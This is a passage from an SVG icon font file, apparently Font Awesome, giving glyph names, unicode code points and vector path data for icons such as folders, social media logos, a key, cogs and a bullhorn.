    <glyph glyph-name="folder_close" unicode="&#xf07b;" horiz-adv-x="1664" 
d="M1664 928v-704q0 -92 -66 -158t-158 -66h-1216q-92 0 -158 66t-66 158v960q0 92 66 158t158 66h320q92 0 158 -66t66 -158v-32h672q92 0 158 -66t66 -158z" />
    <glyph glyph-name="folder_open" unicode="&#xf07c;" horiz-adv-x="1920" 
d="M1879 584q0 -31 -31 -66l-336 -396q-43 -51 -120.5 -86.5t-143.5 -35.5h-1088q-34 0 -60.5 13t-26.5 43q0 31 31 66l336 396q43 51 120.5 86.5t143.5 35.5h1088q34 0 60.5 -13t26.5 -43zM1536 928v-160h-832q-94 0 -197 -47.5t-164 -119.5l-337 -396l-5 -6q0 4 -0.5 12.5
t-0.5 12.5v960q0 92 66 158t158 66h320q92 0 158 -66t66 -158v-32h544q92 0 158 -66t66 -158z" />
    <glyph glyph-name="resize_vertical" unicode="&#xf07d;" horiz-adv-x="768" 
d="M704 1216q0 -26 -19 -45t-45 -19h-128v-1024h128q26 0 45 -19t19 -45t-19 -45l-256 -256q-19 -19 -45 -19t-45 19l-256 256q-19 19 -19 45t19 45t45 19h128v1024h-128q-26 0 -45 19t-19 45t19 45l256 256q19 19 45 19t45 -19l256 -256q19 -19 19 -45z" />
    <glyph glyph-name="resize_horizontal" unicode="&#xf07e;" horiz-adv-x="1792" 
d="M1792 640q0 -26 -19 -45l-256 -256q-19 -19 -45 -19t-45 19t-19 45v128h-1024v-128q0 -26 -19 -45t-45 -19t-45 19l-256 256q-19 19 -19 45t19 45l256 256q19 19 45 19t45 -19t19 -45v-128h1024v128q0 26 19 45t45 19t45 -19l256 -256q19 -19 19 -45z" />
    <glyph glyph-name="bar_chart" unicode="&#xf080;" horiz-adv-x="2048" 
d="M640 640v-512h-256v512h256zM1024 1152v-1024h-256v1024h256zM2048 0v-128h-2048v1536h128v-1408h1920zM1408 896v-768h-256v768h256zM1792 1280v-1152h-256v1152h256z" />
    <glyph glyph-name="twitter_sign" unicode="&#xf081;" 
d="M1280 926q-56 -25 -121 -34q68 40 93 117q-65 -38 -134 -51q-61 66 -153 66q-87 0 -148.5 -61.5t-61.5 -148.5q0 -29 5 -48q-129 7 -242 65t-192 155q-29 -50 -29 -106q0 -114 91 -175q-47 1 -100 26v-2q0 -75 50 -133.5t123 -72.5q-29 -8 -51 -8q-13 0 -39 4
q21 -63 74.5 -104t121.5 -42q-116 -90 -261 -90q-26 0 -50 3q148 -94 322 -94q112 0 210 35.5t168 95t120.5 137t75 162t24.5 168.5q0 18 -1 27q63 45 105 109zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5
t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="facebook_sign" unicode="&#xf082;" 
d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-188v595h199l30 232h-229v148q0 56 23.5 84t91.5 28l122 1v207q-63 9 -178 9q-136 0 -217.5 -80t-81.5 -226v-171h-200v-232h200v-595h-532q-119 0 -203.5 84.5t-84.5 203.5v960
q0 119 84.5 203.5t203.5 84.5h960z" />
    <glyph glyph-name="camera_retro" unicode="&#xf083;" horiz-adv-x="1792" 
d="M928 704q0 14 -9 23t-23 9q-66 0 -113 -47t-47 -113q0 -14 9 -23t23 -9t23 9t9 23q0 40 28 68t68 28q14 0 23 9t9 23zM1152 574q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181zM128 0h1536v128h-1536v-128zM1280 574q0 159 -112.5 271.5
t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5zM256 1216h384v128h-384v-128zM128 1024h1536v118v138h-828l-64 -128h-644v-128zM1792 1280v-1280q0 -53 -37.5 -90.5t-90.5 -37.5h-1536q-53 0 -90.5 37.5t-37.5 90.5v1280
q0 53 37.5 90.5t90.5 37.5h1536q53 0 90.5 -37.5t37.5 -90.5z" />
    <glyph glyph-name="key" unicode="&#xf084;" horiz-adv-x="1792" 
d="M832 1024q0 80 -56 136t-136 56t-136 -56t-56 -136q0 -42 19 -83q-41 19 -83 19q-80 0 -136 -56t-56 -136t56 -136t136 -56t136 56t56 136q0 42 -19 83q41 -19 83 -19q80 0 136 56t56 136zM1683 320q0 -17 -49 -66t-66 -49q-9 0 -28.5 16t-36.5 33t-38.5 40t-24.5 26
l-96 -96l220 -220q28 -28 28 -68q0 -42 -39 -81t-81 -39q-40 0 -68 28l-671 671q-176 -131 -365 -131q-163 0 -265.5 102.5t-102.5 265.5q0 160 95 313t248 248t313 95q163 0 265.5 -102.5t102.5 -265.5q0 -189 -131 -365l355 -355l96 96q-3 3 -26 24.5t-40 38.5t-33 36.5
t-16 28.5q0 17 49 66t66 49q13 0 23 -10q6 -6 46 -44.5t82 -79.5t86.5 -86t73 -78t28.5 -41z" />
    <glyph glyph-name="cogs" unicode="&#xf085;" horiz-adv-x="1920" 
d="M896 640q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1664 128q0 52 -38 90t-90 38t-90 -38t-38 -90q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1664 1152q0 52 -38 90t-90 38t-90 -38t-38 -90q0 -53 37.5 -90.5t90.5 -37.5
t90.5 37.5t37.5 90.5zM1280 731v-185q0 -10 -7 -19.5t-16 -10.5l-155 -24q-11 -35 -32 -76q34 -48 90 -115q7 -11 7 -20q0 -12 -7 -19q-23 -30 -82.5 -89.5t-78.5 -59.5q-11 0 -21 7l-115 90q-37 -19 -77 -31q-11 -108 -23 -155q-7 -24 -30 -24h-186q-11 0 -20 7.5t-10 17.5
l-23 153q-34 10 -75 31l-118 -89q-7 -7 -20 -7q-11 0 -21 8q-144 133 -144 160q0 9 7 19q10 14 41 53t47 61q-23 44 -35 82l-152 24q-10 1 -17 9.5t-7 19.5v185q0 10 7 19.5t16 10.5l155 24q11 35 32 76q-34 48 -90 115q-7 11 -7 20q0 12 7 20q22 30 82 89t79 59q11 0 21 -7
l115 -90q34 18 77 32q11 108 23 154q7 24 30 24h186q11 0 20 -7.5t10 -17.5l23 -153q34 -10 75 -31l118 89q8 7 20 7q11 0 21 -8q144 -133 144 -160q0 -8 -7 -19q-12 -16 -42 -54t-45 -60q23 -48 34 -82l152 -23q10 -2 17 -10.5t7 -19.5zM1920 198v-140q0 -16 -149 -31
q-12 -27 -30 -52q51 -113 51 -138q0 -4 -4 -7q-122 -71 -124 -71q-8 0 -46 47t-52 68q-20 -2 -30 -2t-30 2q-14 -21 -52 -68t-46 -47q-2 0 -124 71q-4 3 -4 7q0 25 51 138q-18 25 -30 52q-149 15 -149 31v140q0 16 149 31q13 29 30 52q-51 113 -51 138q0 4 4 7q4 2 35 20
t59 34t30 16q8 0 46 -46.5t52 -67.5q20 2 30 2t30 -2q51 71 92 112l6 2q4 0 124 -70q4 -3 4 -7q0 -25 -51 -138q17 -23 30 -52q149 -15 149 -31zM1920 1222v-140q0 -16 -149 -31q-12 -27 -30 -52q51 -113 51 -138q0 -4 -4 -7q-122 -71 -124 -71q-8 0 -46 47t-52 68
q-20 -2 -30 -2t-30 2q-14 -21 -52 -68t-46 -47q-2 0 -124 71q-4 3 -4 7q0 25 51 138q-18 25 -30 52q-149 15 -149 31v140q0 16 149 31q13 29 30 52q-51 113 -51 138q0 4 4 7q4 2 35 20t59 34t30 16q8 0 46 -46.5t52 -67.5q20 2 30 2t30 -2q51 71 92 112l6 2q4 0 124 -70
q4 -3 4 -7q0 -25 -51 -138q17 -23 30 -52q149 -15 149 -31z" />
    <glyph glyph-name="comments" unicode="&#xf086;" horiz-adv-x="1792" 
d="M1408 768q0 -139 -94 -257t-256.5 -186.5t-353.5 -68.5q-86 0 -176 16q-124 -88 -278 -128q-36 -9 -86 -16h-3q-11 0 -20.5 8t-11.5 21q-1 3 -1 6.5t0.5 6.5t2 6l2.5 5t3.5 5.5t4 5t4.5 5t4 4.5q5 6 23 25t26 29.5t22.5 29t25 38.5t20.5 44q-124 72 -195 177t-71 224
q0 139 94 257t256.5 186.5t353.5 68.5t353.5 -68.5t256.5 -186.5t94 -257zM1792 512q0 -120 -71 -224.5t-195 -176.5q10 -24 20.5 -44t25 -38.5t22.5 -29t26 -29.5t23 -25q1 -1 4 -4.5t4.5 -5t4 -5t3.5 -5.5l2.5 -5t2 -6t0.5 -6.5t-1 -6.5q-3 -14 -13 -22t-22 -7
q-50 7 -86 16q-154 40 -278 128q-90 -16 -176 -16q-271 0 -472 132q58 -4 88 -4q161 0 309 45t264 129q125 92 192 212t67 254q0 77 -23 152q129 -71 204 -178t75 -230z" />
    <glyph glyph-name="thumbs_up_alt" unicode="&#xf087;" 
d="M256 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 768q0 51 -39 89.5t-89 38.5h-352q0 58 48 159.5t48 160.5q0 98 -32 145t-128 47q-26 -26 -38 -85t-30.5 -125.5t-59.5 -109.5q-22 -23 -77 -91q-4 -5 -23 -30t-31.5 -41t-34.5 -42.5
t-40 -44t-38.5 -35.5t-40 -27t-35.5 -9h-32v-640h32q13 0 31.5 -3t33 -6.5t38 -11t35 -11.5t35.5 -12.5t29 -10.5q211 -73 342 -73h121q192 0 192 167q0 26 -5 56q30 16 47.5 52.5t17.5 73.5t-18 69q53 50 53 119q0 25 -10 55.5t-25 47.5q32 1 53.5 47t21.5 81zM1536 769
q0 -89 -49 -163q9 -33 9 -69q0 -77 -38 -144q3 -21 3 -43q0 -101 -60 -178q1 -139 -85 -219.5t-227 -80.5h-36h-93q-96 0 -189.5 22.5t-216.5 65.5q-116 40 -138 40h-288q-53 0 -90.5 37.5t-37.5 90.5v640q0 53 37.5 90.5t90.5 37.5h274q36 24 137 155q58 75 107 128
q24 25 35.5 85.5t30.5 126.5t62 108q39 37 90 37q84 0 151 -32.5t102 -101.5t35 -186q0 -93 -48 -192h176q104 0 180 -76t76 -179z" />
    <glyph glyph-name="thumbs_down_alt" unicode="&#xf088;" 
d="M256 1088q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 512q0 35 -21.5 81t-53.5 47q15 17 25 47.5t10 55.5q0 69 -53 119q18 31 18 69q0 37 -17.5 73.5t-47.5 52.5q5 30 5 56q0 85 -49 126t-136 41h-128q-131 0 -342 -73q-5 -2 -29 -10.5
t-35.5 -12.5t-35 -11.5t-38 -11t-33 -6.5t-31.5 -3h-32v-640h32q16 0 35.5 -9t40 -27t38.5 -35.5t40 -44t34.5 -42.5t31.5 -41t23 -30q55 -68 77 -91q41 -43 59.5 -109.5t30.5 -125.5t38 -85q96 0 128 47t32 145q0 59 -48 160.5t-48 159.5h352q50 0 89 38.5t39 89.5z
M1536 511q0 -103 -76 -179t-180 -76h-176q48 -99 48 -192q0 -118 -35 -186q-35 -69 -102 -101.5t-151 -32.5q-51 0 -90 37q-34 33 -54 82t-25.5 90.5t-17.5 84.5t-31 64q-48 50 -107 127q-101 131 -137 155h-274q-53 0 -90.5 37.5t-37.5 90.5v640q0 53 37.5 90.5t90.5 37.5
h288q22 0 138 40q128 44 223 66t200 22h112q140 0 226.5 -79t85.5 -216v-5q60 -77 60 -178q0 -22 -3 -43q38 -67 38 -144q0 -36 -9 -69q49 -73 49 -163z" />
    <glyph glyph-name="star_half" unicode="&#xf089;" horiz-adv-x="896" 
d="M832 1504v-1339l-449 -236q-22 -12 -40 -12q-21 0 -31.5 14.5t-10.5 35.5q0 6 2 20l86 500l-364 354q-25 27 -25 48q0 37 56 46l502 73l225 455q19 41 49 41z" />
    <glyph glyph-name="heart_empty" unicode="&#xf08a;" horiz-adv-x="1792" 
d="M1664 940q0 81 -21.5 143t-55 98.5t-81.5 59.5t-94 31t-98 8t-112 -25.5t-110.5 -64t-86.5 -72t-60 -61.5q-18 -22 -49 -22t-49 22q-24 28 -60 61.5t-86.5 72t-110.5 64t-112 25.5t-98 -8t-94 -31t-81.5 -59.5t-55 -98.5t-21.5 -143q0 -168 187 -355l581 -560l580 559
q188 188 188 356zM1792 940q0 -221 -229 -450l-623 -600q-18 -18 -44 -18t-44 18l-624 602q-10 8 -27.5 26t-55.5 65.5t-68 97.5t-53.5 121t-23.5 138q0 220 127 344t351 124q62 0 126.5 -21.5t120 -58t95.5 -68.5t76 -68q36 36 76 68t95.5 68.5t120 58t126.5 21.5
q224 0 351 -124t127 -344z" />
    <glyph glyph-name="signout" unicode="&#xf08b;" horiz-adv-x="1664" 
d="M640 96q0 -4 1 -20t0.5 -26.5t-3 -23.5t-10 -19.5t-20.5 -6.5h-320q-119 0 -203.5 84.5t-84.5 203.5v704q0 119 84.5 203.5t203.5 84.5h320q13 0 22.5 -9.5t9.5 -22.5q0 -4 1 -20t0.5 -26.5t-3 -23.5t-10 -19.5t-20.5 -6.5h-320q-66 0 -113 -47t-47 -113v-704
q0 -66 47 -113t113 -47h288h11h13t11.5 -1t11.5 -3t8 -5.5t7 -9t2 -13.5zM1568 640q0 -26 -19 -45l-544 -544q-19 -19 -45 -19t-45 19t-19 45v288h-448q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h448v288q0 26 19 45t45 19t45 -19l544 -544q19 -19 19 -45z" />
    <glyph glyph-name="linkedin_sign" unicode="&#xf08c;" 
d="M237 122h231v694h-231v-694zM483 1030q-1 52 -36 86t-93 34t-94.5 -34t-36.5 -86q0 -51 35.5 -85.5t92.5 -34.5h1q59 0 95 34.5t36 85.5zM1068 122h231v398q0 154 -73 233t-193 79q-136 0 -209 -117h2v101h-231q3 -66 0 -694h231v388q0 38 7 56q15 35 45 59.5t74 24.5
q116 0 116 -157v-371zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="pushpin" unicode="&#xf08d;" horiz-adv-x="1152" 
d="M480 672v448q0 14 -9 23t-23 9t-23 -9t-9 -23v-448q0 -14 9 -23t23 -9t23 9t9 23zM1152 320q0 -26 -19 -45t-45 -19h-429l-51 -483q-2 -12 -10.5 -20.5t-20.5 -8.5h-1q-27 0 -32 27l-76 485h-404q-26 0 -45 19t-19 45q0 123 78.5 221.5t177.5 98.5v512q-52 0 -90 38
t-38 90t38 90t90 38h640q52 0 90 -38t38 -90t-38 -90t-90 -38v-512q99 0 177.5 -98.5t78.5 -221.5z" />
    <glyph glyph-name="external_link" unicode="&#xf08e;" horiz-adv-x="1792" 
d="M1408 608v-320q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h704q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v320
q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1792 1472v-512q0 -26 -19 -45t-45 -19t-45 19l-176 176l-652 -652q-10 -10 -23 -10t-23 10l-114 114q-10 10 -10 23t10 23l652 652l-176 176q-19 19 -19 45t19 45t45 19h512q26 0 45 -19t19 -45z" />
    <glyph glyph-name="signin" unicode="&#xf090;" 
d="M1184 640q0 -26 -19 -45l-544 -544q-19 -19 -45 -19t-45 19t-19 45v288h-448q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h448v288q0 26 19 45t45 19t45 -19l544 -544q19 -19 19 -45zM1536 992v-704q0 -119 -84.5 -203.5t-203.5 -84.5h-320q-13 0 -22.5 9.5t-9.5 22.5
q0 4 -1 20t-0.5 26.5t3 23.5t10 19.5t20.5 6.5h320q66 0 113 47t47 113v704q0 66 -47 113t-113 47h-288h-11h-13t-11.5 1t-11.5 3t-8 5.5t-7 9t-2 13.5q0 4 -1 20t-0.5 26.5t3 23.5t10 19.5t20.5 6.5h320q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="trophy" unicode="&#xf091;" horiz-adv-x="1664" 
d="M458 653q-74 162 -74 371h-256v-96q0 -78 94.5 -162t235.5 -113zM1536 928v96h-256q0 -209 -74 -371q141 29 235.5 113t94.5 162zM1664 1056v-128q0 -71 -41.5 -143t-112 -130t-173 -97.5t-215.5 -44.5q-42 -54 -95 -95q-38 -34 -52.5 -72.5t-14.5 -89.5q0 -54 30.5 -91
t97.5 -37q75 0 133.5 -45.5t58.5 -114.5v-64q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23v64q0 69 58.5 114.5t133.5 45.5q67 0 97.5 37t30.5 91q0 51 -14.5 89.5t-52.5 72.5q-53 41 -95 95q-113 5 -215.5 44.5t-173 97.5t-112 130t-41.5 143v128q0 40 28 68t68 28h288v96
q0 66 47 113t113 47h576q66 0 113 -47t47 -113v-96h288q40 0 68 -28t28 -68z" />
    <glyph glyph-name="github_sign" unicode="&#xf092;" 
d="M519 336q4 6 -3 13q-9 7 -14 2q-4 -6 3 -13q9 -7 14 -2zM491 377q-5 7 -12 4q-6 -4 0 -12q7 -8 12 -5q6 4 0 13zM450 417q2 4 -5 8q-7 2 -8 -2q-3 -5 4 -8q8 -2 9 2zM471 394q2 1 1.5 4.5t-3.5 5.5q-6 7 -10 3t1 -11q6 -6 11 -2zM557 319q2 7 -9 11q-9 3 -13 -4
q-2 -7 9 -11q9 -3 13 4zM599 316q0 8 -12 8q-10 0 -10 -8t11 -8t11 8zM638 323q-2 7 -13 5t-9 -9q2 -8 12 -6t10 10zM1280 640q0 212 -150 362t-362 150t-362 -150t-150 -362q0 -167 98 -300.5t252 -185.5q18 -3 26.5 5t8.5 20q0 52 -1 95q-6 -1 -15.5 -2.5t-35.5 -2t-48 4
t-43.5 20t-29.5 41.5q-23 59 -57 74q-2 1 -4.5 3.5l-8 8t-7 9.5t4 7.5t19.5 3.5q6 0 15 -2t30 -15.5t33 -35.5q16 -28 37.5 -42t43.5 -14t38 3.5t30 9.5q7 47 33 69q-49 6 -86 18.5t-73 39t-55.5 76t-19.5 119.5q0 79 53 137q-24 62 5 136q19 6 54.5 -7.5t60.5 -29.5l26 -16
q58 17 128 17t128 -17q11 7 28.5 18t55.5 26t57 9q29 -74 5 -136q53 -58 53 -137q0 -57 -14 -100.5t-35.5 -70t-53.5 -44.5t-62.5 -26t-68.5 -12q35 -31 35 -95q0 -40 -0.5 -89t-0.5 -51q0 -12 8.5 -20t26.5 -5q154 52 252 185.5t98 300.5zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="upload_alt" unicode="&#xf093;" horiz-adv-x="1664" 
d="M1280 64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1536 64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 288v-320q0 -40 -28 -68t-68 -28h-1472q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h427q21 -56 70.5 -92
t110.5 -36h256q61 0 110.5 36t70.5 92h427q40 0 68 -28t28 -68zM1339 936q-17 -40 -59 -40h-256v-448q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v448h-256q-42 0 -59 40q-17 39 14 69l448 448q18 19 45 19t45 -19l448 -448q31 -30 14 -69z" />
    <glyph glyph-name="lemon" unicode="&#xf094;" 
d="M1407 710q0 44 -7 113.5t-18 96.5q-12 30 -17 44t-9 36.5t-4 48.5q0 23 5 68.5t5 67.5q0 37 -10 55q-4 1 -13 1q-19 0 -58 -4.5t-59 -4.5q-60 0 -176 24t-175 24q-43 0 -94.5 -11.5t-85 -23.5t-89.5 -34q-137 -54 -202 -103q-96 -73 -159.5 -189.5t-88 -236t-24.5 -248.5
q0 -40 12.5 -120t12.5 -121q0 -23 -11 -66.5t-11 -65.5t12 -36.5t34 -14.5q24 0 72.5 11t73.5 11q57 0 169.5 -15.5t169.5 -15.5q181 0 284 36q129 45 235.5 152.5t166 245.5t59.5 275zM1535 712q0 -165 -70 -327.5t-196 -288t-281 -180.5q-124 -44 -326 -44
q-57 0 -170 14.5t-169 14.5q-24 0 -72.5 -14.5t-73.5 -14.5q-73 0 -123.5 55.5t-50.5 128.5q0 24 11 68t11 67q0 40 -12.5 120.5t-12.5 121.5q0 111 18 217.5t54.5 209.5t100.5 194t150 156q78 59 232 120q194 78 316 78q60 0 175.5 -24t173.5 -24q19 0 57 5t58 5
q81 0 118 -50.5t37 -134.5q0 -23 -5 -68t-5 -68q0 -13 2 -25t3.5 -16.5t7.5 -20.5t8 -20q16 -40 25 -118.5t9 -136.5z" />
    <glyph glyph-name="phone" unicode="&#xf095;" horiz-adv-x="1408" 
d="M1408 296q0 -27 -10 -70.5t-21 -68.5q-21 -50 -122 -106q-94 -51 -186 -51q-27 0 -53 3.5t-57.5 12.5t-47 14.5t-55.5 20.5t-49 18q-98 35 -175 83q-127 79 -264 216t-216 264q-48 77 -83 175q-3 9 -18 49t-20.5 55.5t-14.5 47t-12.5 57.5t-3.5 53q0 92 51 186
q56 101 106 122q25 11 68.5 21t70.5 10q14 0 21 -3q18 -6 53 -76q11 -19 30 -54t35 -63.5t31 -53.5q3 -4 17.5 -25t21.5 -35.5t7 -28.5q0 -20 -28.5 -50t-62 -55t-62 -53t-28.5 -46q0 -9 5 -22.5t8.5 -20.5t14 -24t11.5 -19q76 -137 174 -235t235 -174q2 -1 19 -11.5t24 -14
t20.5 -8.5t22.5 -5q18 0 46 28.5t53 62t55 62t50 28.5q14 0 28.5 -7t35.5 -21.5t25 -17.5q25 -15 53.5 -31t63.5 -35t54 -30q70 -35 76 -53q3 -7 3 -21z" />
    <glyph glyph-name="check_empty" unicode="&#xf096;" horiz-adv-x="1408" 
d="M1120 1280h-832q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v832q0 66 -47 113t-113 47zM1408 1120v-832q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832
q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="bookmark_empty" unicode="&#xf097;" horiz-adv-x="1280" 
d="M1152 1280h-1024v-1242l423 406l89 85l89 -85l423 -406v1242zM1164 1408q23 0 44 -9q33 -13 52.5 -41t19.5 -62v-1289q0 -34 -19.5 -62t-52.5 -41q-19 -8 -44 -8q-48 0 -83 32l-441 424l-441 -424q-36 -33 -83 -33q-23 0 -44 9q-33 13 -52.5 41t-19.5 62v1289
q0 34 19.5 62t52.5 41q21 9 44 9h1048z" />
    <glyph glyph-name="phone_sign" unicode="&#xf098;" 
d="M1280 343q0 11 -2 16t-18 16.5t-40.5 25t-47.5 26.5t-45.5 25t-28.5 15q-5 3 -19 13t-25 15t-21 5q-15 0 -36.5 -20.5t-39.5 -45t-38.5 -45t-33.5 -20.5q-7 0 -16.5 3.5t-15.5 6.5t-17 9.5t-14 8.5q-99 55 -170 126.5t-127 170.5q-2 3 -8.5 14t-9.5 17t-6.5 15.5
t-3.5 16.5q0 13 20.5 33.5t45 38.5t45 39.5t20.5 36.5q0 10 -5 21t-15 25t-13 19q-3 6 -15 28.5t-25 45.5t-26.5 47.5t-25 40.5t-16.5 18t-16 2q-48 0 -101 -22q-46 -21 -80 -94.5t-34 -130.5q0 -16 2.5 -34t5 -30.5t9 -33t10 -29.5t12.5 -33t11 -30q60 -164 216.5 -320.5
t320.5 -216.5q6 -2 30 -11t33 -12.5t29.5 -10t33 -9t30.5 -5t34 -2.5q57 0 130.5 34t94.5 80q22 53 22 101zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z
" />
    <glyph glyph-name="twitter" unicode="&#xf099;" horiz-adv-x="1664" 
d="M1620 1128q-67 -98 -162 -167q1 -14 1 -42q0 -130 -38 -259.5t-115.5 -248.5t-184.5 -210.5t-258 -146t-323 -54.5q-271 0 -496 145q35 -4 78 -4q225 0 401 138q-105 2 -188 64.5t-114 159.5q33 -5 61 -5q43 0 85 11q-112 23 -185.5 111.5t-73.5 205.5v4q68 -38 146 -41
q-66 44 -105 115t-39 154q0 88 44 163q121 -149 294.5 -238.5t371.5 -99.5q-8 38 -8 74q0 134 94.5 228.5t228.5 94.5q140 0 236 -102q109 21 205 78q-37 -115 -142 -178q93 10 186 50z" />
    <glyph glyph-name="facebook" unicode="&#xf09a;" horiz-adv-x="1024" 
d="M959 1524v-264h-157q-86 0 -116 -36t-30 -108v-189h293l-39 -296h-254v-759h-306v759h-255v296h255v218q0 186 104 288.5t277 102.5q147 0 228 -12z" />
    <glyph glyph-name="github" unicode="&#xf09b;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5q0 -251 -146.5 -451.5t-378.5 -277.5q-27 -5 -40 7t-13 30q0 3 0.5 76.5t0.5 134.5q0 97 -52 142q57 6 102.5 18t94 39t81 66.5t53 105t20.5 150.5q0 119 -79 206q37 91 -8 204q-28 9 -81 -11t-92 -44l-38 -24
q-93 26 -192 26t-192 -26q-16 11 -42.5 27t-83.5 38.5t-85 13.5q-45 -113 -8 -204q-79 -87 -79 -206q0 -85 20.5 -150t52.5 -105t80.5 -67t94 -39t102.5 -18q-39 -36 -49 -103q-21 -10 -45 -15t-57 -5t-65.5 21.5t-55.5 62.5q-19 32 -48.5 52t-49.5 24l-20 3q-21 0 -29 -4.5
t-5 -11.5t9 -14t13 -12l7 -5q22 -10 43.5 -38t31.5 -51l10 -23q13 -38 44 -61.5t67 -30t69.5 -7t55.5 3.5l23 4q0 -38 0.5 -88.5t0.5 -54.5q0 -18 -13 -30t-40 -7q-232 77 -378.5 277.5t-146.5 451.5q0 209 103 385.5t279.5 279.5t385.5 103zM291 305q3 7 -7 12
q-10 3 -13 -2q-3 -7 7 -12q9 -6 13 2zM322 271q7 5 -2 16q-10 9 -16 3q-7 -5 2 -16q10 -10 16 -3zM352 226q9 7 0 19q-8 13 -17 6q-9 -5 0 -18t17 -7zM394 184q8 8 -4 19q-12 12 -20 3q-9 -8 4 -19q12 -12 20 -3zM451 159q3 11 -13 16q-15 4 -19 -7t13 -15q15 -6 19 6z
M514 154q0 13 -17 11q-16 0 -16 -11q0 -13 17 -11q16 0 16 11zM572 164q-2 11 -18 9q-16 -3 -14 -15t18 -8t14 14z" />
    <glyph glyph-name="unlock" unicode="&#xf09c;" horiz-adv-x="1664" 
d="M1664 960v-256q0 -26 -19 -45t-45 -19h-64q-26 0 -45 19t-19 45v256q0 106 -75 181t-181 75t-181 -75t-75 -181v-192h96q40 0 68 -28t28 -68v-576q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v576q0 40 28 68t68 28h672v192q0 185 131.5 316.5t316.5 131.5
t316.5 -131.5t131.5 -316.5z" />
    <glyph glyph-name="credit_card" unicode="&#xf09d;" horiz-adv-x="1920" 
d="M1760 1408q66 0 113 -47t47 -113v-1216q0 -66 -47 -113t-113 -47h-1600q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1600zM160 1280q-13 0 -22.5 -9.5t-9.5 -22.5v-224h1664v224q0 13 -9.5 22.5t-22.5 9.5h-1600zM1760 0q13 0 22.5 9.5t9.5 22.5v608h-1664v-608
q0 -13 9.5 -22.5t22.5 -9.5h1600zM256 128v128h256v-128h-256zM640 128v128h384v-128h-384z" />
    <glyph glyph-name="rss" unicode="&#xf09e;" horiz-adv-x="1408" 
d="M384 192q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 69q2 -28 -17 -48q-18 -21 -47 -21h-135q-25 0 -43 16.5t-20 41.5q-22 229 -184.5 391.5t-391.5 184.5q-25 2 -41.5 20t-16.5 43v135q0 29 21 47q17 17 43 17h5q160 -13 306 -80.5
t259 -181.5q114 -113 181.5 -259t80.5 -306zM1408 67q2 -27 -18 -47q-18 -20 -46 -20h-143q-26 0 -44.5 17.5t-19.5 42.5q-12 215 -101 408.5t-231.5 336t-336 231.5t-408.5 102q-25 1 -42.5 19.5t-17.5 43.5v143q0 28 20 46q18 18 44 18h3q262 -13 501.5 -120t425.5 -294
q187 -186 294 -425.5t120 -501.5z" />
    <glyph glyph-name="hdd" unicode="&#xf0a0;" 
d="M1040 320q0 -33 -23.5 -56.5t-56.5 -23.5t-56.5 23.5t-23.5 56.5t23.5 56.5t56.5 23.5t56.5 -23.5t23.5 -56.5zM1296 320q0 -33 -23.5 -56.5t-56.5 -23.5t-56.5 23.5t-23.5 56.5t23.5 56.5t56.5 23.5t56.5 -23.5t23.5 -56.5zM1408 160v320q0 13 -9.5 22.5t-22.5 9.5
h-1216q-13 0 -22.5 -9.5t-9.5 -22.5v-320q0 -13 9.5 -22.5t22.5 -9.5h1216q13 0 22.5 9.5t9.5 22.5zM178 640h1180l-157 482q-4 13 -16 21.5t-26 8.5h-782q-14 0 -26 -8.5t-16 -21.5zM1536 480v-320q0 -66 -47 -113t-113 -47h-1216q-66 0 -113 47t-47 113v320q0 25 16 75
l197 606q17 53 63 86t101 33h782q55 0 101 -33t63 -86l197 -606q16 -50 16 -75z" />
    <glyph glyph-name="bullhorn" unicode="&#xf0a1;" horiz-adv-x="1792" 
